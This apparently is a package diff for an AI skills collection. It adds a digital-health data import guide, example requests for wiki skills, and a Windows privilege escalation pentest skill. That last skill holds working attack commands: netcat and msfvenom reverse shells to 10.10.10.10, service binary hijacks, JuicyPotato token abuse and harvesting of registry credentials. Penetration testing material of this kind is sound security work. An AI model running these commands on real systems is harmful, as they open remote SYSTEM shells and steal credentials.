opencode-skills-collection 4.0.53 → 4.0.54

package/bundled-skills/wellally-tech/references/detailed-guide.md

@@ -0,0 +1,379 @@
+# WellAlly Digital Health Integration - Detailed Guide
+
+> This file contains the detailed procedure and reference material extracted from `SKILL.md` for focused loading. The root skill defines activation, examples, safety constraints, and limitations.
+
+## Core Features
+
+### 1. Digital Health Data Import
+- **Apple Health (HealthKit)**: Export XML/ZIP file parsing
+- **Fitbit**: OAuth2 API integration and CSV import
+- **Oura Ring**: API v2 data synchronization
+- **Generic Import**: CSV/JSON file import with field mapping
+
+### 2. WellAlly.tech Knowledge Base Integration
+- **Categorized Article Index**: Nutrition, fitness, sleep, mental health, chronic disease management
+- **Intelligent Recommendations**: Recommend relevant articles based on user health data
+- **URL References**: Provide direct links to [WellAlly.tech](https://www.wellally.tech/) platform
+
+### 3. Data Standardization
+- **Format Conversion**: Convert external data to local JSON format
+- **Field Mapping**: Intelligently map data fields from different platforms
+- **Data Validation**: Ensure completeness and accuracy of imported data
+
+### 4. Intelligent Article Recommendations
+- **Health Status Analysis**: Based on user health data analysis
+- **Relevance Matching**: Recommend articles most relevant to user health conditions
+- **Category Navigation**: Organize knowledge base articles by health topics
+
+
+## Output Format
+
+### Data Import Output
+
+```
+✅ Data Import Successful
+
+Data Source: Apple Health
+Import Time: 2025-01-22 14:30:00
+
+Import Records Statistics:
+━━━━━━━━━━━━━━━━━━━━━━━━━━
+📊 Step Records: 1,234 records
+⚖️ Weight Records: 30 records
+❤️ Heart Rate Records: 1,200 records
+😴 Sleep Records: 90 records
+
+Data Time Range: 2025-01-01 to 2025-01-22
+━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+💾 Data Saved To:
+• data/fitness/activities.json (steps)
+• data/profile.json (weight history)
+• data/fitness/heart-rate.json (heart rate)
+• data/sleep/sleep-records.json (sleep)
+
+⚠️  Validation Warnings:
+• 3 step records missing timestamps, used default values
+• 1 weight record abnormal (<20kg), skipped
+
+💡 Next Steps:
+• Use /health-trend to analyze imported data
+• Use /wellally-tech for personalized article recommendations
+```
+
+### Knowledge Base Query Output
+
+```
+📚 WellAlly Knowledge Base Search Results
+
+Search Topic: Hypertension Management
+Articles Found: 2
+
+━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+1. Hypertension Monitoring and Management
+   Category: Chronic Disease Management
+   Link: https://wellally.tech/knowledge-base/chronic-disease/hypertension-monitoring
+   Description: Learn how to effectively monitor and manage blood pressure
+
+2. Blood Pressure Lowering Strategies
+   Category: Chronic Disease Management
+   Link: https://wellally.tech/knowledge-base/chronic-disease/bp-lowering-strategies
+   Description: Improve blood pressure levels through lifestyle modifications
+
+━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+🔗 Related Topics:
+• Diabetes Management
+• Cardiovascular Health
+• Medication Adherence
+
+💡 Tips:
+Click links to visit [WellAlly.tech](https://www.wellally.tech/) platform for full articles
+```
+
+### Intelligent Recommendation Output
+
+```
+💡 Article Recommendations Based on Your Health Data
+
+Generated Time: 2025-01-22 14:30:00
+
+━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+🔴 Attention Needed: Blood Pressure Management
+━━━━━━━━━━━━━━━━━━━━━━━━━━
+Current Status: Average blood pressure 142/92 mmHg (elevated)
+
+Recommended Articles:
+1. Hypertension Monitoring and Management
+   https://wellally.tech/knowledge-base/chronic-disease/hypertension-monitoring
+
+2. Blood Pressure Lowering Strategies
+   https://wellally.tech/knowledge-base/chronic-disease/bp-lowering-strategies
+
+3. Antihypertensive Medication Adherence Guide
+   https://wellally.tech/knowledge-base/chronic-disease/medication-adherence
+
+━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+🟡 Attention Needed: Sleep Improvement
+━━━━━━━━━━━━━━━━━━━━━━━━━━
+Current Status: Average sleep duration 5.8 hours (insufficient)
+
+Recommended Articles:
+1. Sleep Hygiene Basics
+   https://wellally.tech/knowledge-base/sleep/sleep-hygiene
+
+2. Improve Sleep Quality
+   https://wellally.tech/knowledge-base/sleep/sleep-quality-improvement
+
+━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+🟢 Keep Up: Daily Activity
+━━━━━━━━━━━━━━━━━━━━━━━━━━
+Current Status: Daily average steps 9,234 (good)
+
+Related Reading:
+1. Maintain Active Lifestyle
+   https://wellally.tech/knowledge-base/fitness/active-lifestyle
+
+━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+Summary: 5 related articles recommended
+Visit [WellAlly.tech](https://www.wellally.tech/) Knowledge Base for full content
+```
+
+
+## Data Sources
+
+### External Data Sources
+
+| Data Source | Type | Import Method | Data Content |
+|-------------|------|---------------|--------------|
+| Apple Health | File Import | XML/ZIP Parsing | Steps, weight, heart rate, sleep, workouts |
+| Fitbit | API/CSV | OAuth2 or CSV | Activities, heart rate, sleep, weight |
+| Oura Ring | API | OAuth2 | Sleep stages, readiness, heart rate variability |
+| Generic CSV | File Import | Field Mapping | Custom health data |
+| Generic JSON | File Import | Field Mapping | Custom health data |
+
+### Local Data Files
+
+| File Path | Data Content | Source Mapping |
+|-----------|--------------|----------------|
+| `data/profile.json` | Profile, weight history | Apple Health, Fitbit, Oura |
+| `data/fitness/activities.json` | Steps, activity data | Apple Health, Fitbit, Oura |
+| `data/fitness/heart-rate.json` | Heart rate records | Apple Health, Fitbit, Oura |
+| `data/sleep/sleep-records.json` | Sleep records | Apple Health, Fitbit, Oura |
+| `data/fitness/recovery.json` | Recovery data | Oura Ring (readiness) |
+
+
+## WellAlly.tech Knowledge Base
+
+### Knowledge Base Structure
+
+**Nutrition & Diet** (`knowledge-base/nutrition.md`)
+- Dietary management guidelines
+- Food nutrition queries
+- Diet recommendations
+- Special dietary needs
+
+**Fitness & Exercise** (`knowledge-base/fitness.md`)
+- Exercise tracking best practices
+- Activity recommendations
+- Exercise data interpretation
+- Training plans
+
+**Sleep Health** (`knowledge-base/sleep.md`)
+- Sleep quality analysis
+- Sleep improvement strategies
+- Sleep disorders overview
+- Sleep hygiene
+
+**Mental Health** (`knowledge-base/mental-health.md`)
+- Stress management techniques
+- Mood tracking interpretation
+- Mental health resources
+- Mindfulness practice
+
+**Chronic Disease Management** (`knowledge-base/chronic-disease.md`)
+- Hypertension monitoring
+- Diabetes management
+- COPD care
+- Medication adherence
+
+### Article Recommendation Mapping
+
+```javascript
+const articleMapping = {
+  "Hypertension": [
+    "chronic-disease/hypertension-monitoring",
+    "chronic-disease/bp-lowering-strategies"
+  ],
+  "Diabetes": [
+    "chronic-disease/diabetes-management",
+    "nutrition/diabetic-diet"
+  ],
+  "Sleep Deprivation": [
+    "sleep/sleep-hygiene",
+    "sleep/sleep-quality-improvement"
+  ],
+  "Weight Gain": [
+    "nutrition/healthy-diet",
+    "nutrition/calorie-management"
+  ],
+  "High Stress": [
+    "mental-health/stress-management",
+    "mental-health/mindfulness"
+  ]
+};
+```
+
+
+## Integration Guides
+
+### Apple Health Import
+
+**Export Steps**:
+1. Open "Health" app on iPhone
+2. Tap profile icon in top right corner
+3. Scroll to bottom, tap "Export All Health Data"
+4. Wait for export to complete and choose sharing method
+5. Save the exported ZIP file
+
+**Import Steps**:
+```bash
+python scripts/import_apple_health.py ~/Downloads/apple_health_export.zip
+```
+
+### Fitbit Integration
+
+**API Integration**:
+1. Create app on Fitbit Developer Platform
+2. Get CLIENT_ID and CLIENT_SECRET
+3. Run OAuth authentication flow
+4. Store access token
+
+**Import Data**:
+```bash
+python scripts/import_fitbit.py --api --days 30
+```
+
+**CSV Import**:
+```bash
+python scripts/import_fitbit.py --csv fitbit_export.csv
+```
+
+### Oura Ring Integration
+
+**API Integration**:
+1. Create app on Oura Developer Platform
+2. Get Personal Access Token
+3. Configure token in import script
+
+**Import Data**:
+```bash
+python scripts/import_oura.py --date-range 2025-01-01 2025-01-22
+```
+
+### Generic CSV/JSON Import
+
+**CSV Import**:
+```bash
+python scripts/import_generic.py health_data.csv --mapping mapping_config.json
+```
+
+**Mapping Configuration Example** (`mapping_config.json`):
+```json
+{
+  "date": "Date",
+  "steps": "Step Count",
+  "weight": "Weight (kg)",
+  "heart_rate": "Resting Heart Rate"
+}
+```
+
+
+## Related Commands
+
+- `/health-trend`: Analyze health trends (using imported data)
+- `/sleep`: Record sleep data
+- `/diet`: Record diet data
+- `/fitness`: Record exercise data
+- `/profile`: Manage personal profile
+
+
+## Technical Implementation
+
+### Tool Limitations
+
+This Skill only uses the following tools:
+- **Read**: Read external data files and configurations
+- **Grep**: Search data patterns
+- **Glob**: Find data files
+- **Write**: Save imported data to local JSON files
+
+### Python Dependencies
+
+Python packages potentially needed for import scripts:
+```python
+# Apple Health
+import xml.etree.ElementTree as ET
+import zipfile
+
+# Fitbit/Oura
+import requests
+
+# Generic Import
+import csv
+import json
+```
+
+### Performance Optimization
+
+- Incremental reading: Only import data within specified time range
+- Data deduplication: Avoid importing duplicate data for same day
+- Batch writing: Save data in batches for better performance
+- Error recovery: Support resume from breakpoint
+
+
+## Extensibility
+
+### Adding New Data Sources
+
+1. Create new integration guide in `integrations/` directory
+2. Create new import script in `scripts/` directory
+3. Update `data-sources.md` documentation
+4. Add usage instructions in SKILL.md
+
+### Adding New Knowledge Base Categories
+
+1. Create new category file in `knowledge-base/` directory
+2. Add related article links
+3. Update `knowledge-base/index.md`
+4. Update article recommendation mapping
+
+
+## Reference Resources
+
+- **WellAlly.tech**: https://www.wellally.tech/
+- **WellAlly Knowledge Base**: https://wellally.tech/knowledge-base/
+- **WellAlly Blog**: https://wellally.tech/blog/
+- **Apple HealthKit**: https://developer.apple.com/documentation/healthkit
+- **Fitbit API**: https://dev.fitbit.com/
+- **Oura Ring API**: https://cloud.ouraring.com/api/
+
+
+## FAQ
+
+**Q: Will imported data overwrite existing data?**
+A: No. Imported data will be appended to existing data, not overwritten. Duplicate data will be automatically deduplicated.
+
+**Q: Can I import data from multiple platforms?**
+A: Yes. You can import data from Apple Health, Fitbit, Oura, and other platforms simultaneously, the system will merge all data.
+
+**Q: Are WellAlly.tech knowledge base articles offline?**
+A: No. Knowledge base articles are referenced via URLs, requiring network connection to access the [WellAlly.tech](https://www.wellally.tech/) platform.
+
+**Q: Where are API credentials stored?**
+A: API credentials are encrypted and stored in local configuration files, not uploaded to any server.

package/bundled-skills/wiki-architect/SKILL.md

@@ -49,6 +49,12 @@ Detect primary language from file extensions and build files, then select a comp
 - Python → JavaScript as comparison
 - Rust → C++ or Go as comparison
 
+## Example
+
+**User request:**
+
+> Create a structured wiki for this repository, grounded in the source tree and linked to the relevant files.
+
 ## Constraints
 
 - Max nesting depth: 4 levels

package/bundled-skills/wiki-changelog/SKILL.md

@@ -21,6 +21,12 @@ Generate structured changelogs from git history.
 3. Classify each commit: Features (🆕), Fixes (🐛), Refactoring (🔄), Docs (📝), Config (🔧), Dependencies (📦), Breaking (⚠️)
 4. Generate concise user-facing descriptions using project terminology
 
+## Example
+
+**User request:**
+
+> Generate a changelog from the recent git history, grouping user-visible changes and linking each claim to its commit.
+
 ## Constraints
 
 - Focus on user-facing changes

package/bundled-skills/wiki-onboarding/SKILL.md

@@ -81,6 +81,12 @@ Scan the repository for build files to determine the primary language for code e
 ### When to Use
 This skill is applicable to execute the workflow or actions described in the overview.
 
+## Example
+
+**User request:**
+
+> Create onboarding documentation that helps a new engineer run, understand, and safely change this codebase.
+
 ## Limitations
 - Use this skill only when the task clearly matches the scope described above.
 - Do not treat the output as a substitute for environment-specific validation, testing, or expert review.

package/bundled-skills/wiki-qa/SKILL.md

@@ -38,6 +38,12 @@ Answer repository questions grounded entirely in source code evidence.
 ### When to Use
 This skill is applicable to execute the workflow or actions described in the overview.
 
+## Example
+
+**User request:**
+
+> Answer this repository question using only source-code evidence, with direct file and line references.
+
 ## Limitations
 - Use this skill only when the task clearly matches the scope described above.
 - Do not treat the output as a substitute for environment-specific validation, testing, or expert review.

package/bundled-skills/wiki-researcher/SKILL.md

@@ -69,6 +69,12 @@ Each iteration takes a different lens and builds on all prior findings:
 ### When to Use
 This skill is applicable to execute the workflow or actions described in the overview.
 
+## Example
+
+**User request:**
+
+> Explain how this subsystem works across files, including control flow, data flow, boundaries, and evidence.
+
 ## Limitations
 - Use this skill only when the task clearly matches the scope described above.
 - Do not treat the output as a substitute for environment-specific validation, testing, or expert review.

package/bundled-skills/windows-privilege-escalation/SKILL.md

@@ -0,0 +1,131 @@
+---
+name: windows-privilege-escalation
+description: "Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements."
+risk: offensive
+source: community
+author: zebbern
+date_added: "2026-02-27"
+---
+
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
+
+# Windows Privilege Escalation
+
+## Detailed Guide
+
+Read [the detailed guide](references/detailed-guide.md) before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.
+
+## Constraints and Limitations
+
+### Operational Boundaries
+- Kernel exploits may cause system instability
+- Some exploits require specific Windows versions
+- AV/EDR may detect and block common tools
+- Token impersonation requires service account context
+- Some techniques require GUI access
+
+### Detection Considerations
+- Credential dumping triggers security alerts
+- Service modification logged in Event Logs
+- PowerShell execution may be monitored
+- Known exploit signatures detected by AV
+
+### Legal Requirements
+- Only test systems with written authorization
+- Document all escalation attempts
+- Avoid disrupting production systems
+- Report all findings through proper channels
+
+## Examples
+
+### Example 1: Service Binary Path Exploitation
+```powershell
+# Find vulnerable service
+accesschk.exe -uwcqv "Authenticated Users" * /accepteula
+# Result: RW MyService SERVICE_ALL_ACCESS
+
+# Check current config
+sc qc MyService
+
+# Stop service and change binary path
+sc stop MyService
+sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
+sc start MyService
+
+# Catch shell as SYSTEM
+```
+
+### Example 2: AlwaysInstallElevated Exploitation
+```powershell
+# Verify vulnerability
+reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+# Both return: 0x1
+
+# Generate payload (attacker machine)
+msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
+
+# Transfer and execute
+msiexec /quiet /qn /i C:\Users\Public\shell.msi
+
+# Catch SYSTEM shell
+```
+
+### Example 3: JuicyPotato Token Impersonation
+```powershell
+# Verify SeImpersonatePrivilege
+whoami /priv
+# SeImpersonatePrivilege Enabled
+
+# Run JuicyPotato
+JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
+
+# Catch SYSTEM shell
+```
+
+### Example 4: Unquoted Service Path
+```powershell
+# Find unquoted path
+wmic service get name,pathname | findstr /i /v """
+# Result: C:\Program Files\Vuln App\service.exe
+
+# Check write permissions
+icacls "C:\Program Files\Vuln App"
+# Result: Users:(W)
+
+# Place malicious binary
+copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"
+
+# Restart service
+sc stop "Vuln App"
+sc start "Vuln App"
+```
+
+### Example 5: Credential Harvesting from Registry
+```powershell
+# Check for auto-logon credentials
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
+# DefaultUserName: Administrator
+# DefaultPassword: P@ssw0rd123
+
+# Use credentials
+runas /user:Administrator cmd.exe
+# Or for remote: psexec \\target -u Administrator -p P@ssw0rd123 cmd
+```
+
+## When to Use
+This skill is applicable to execute the workflow or actions described in the overview.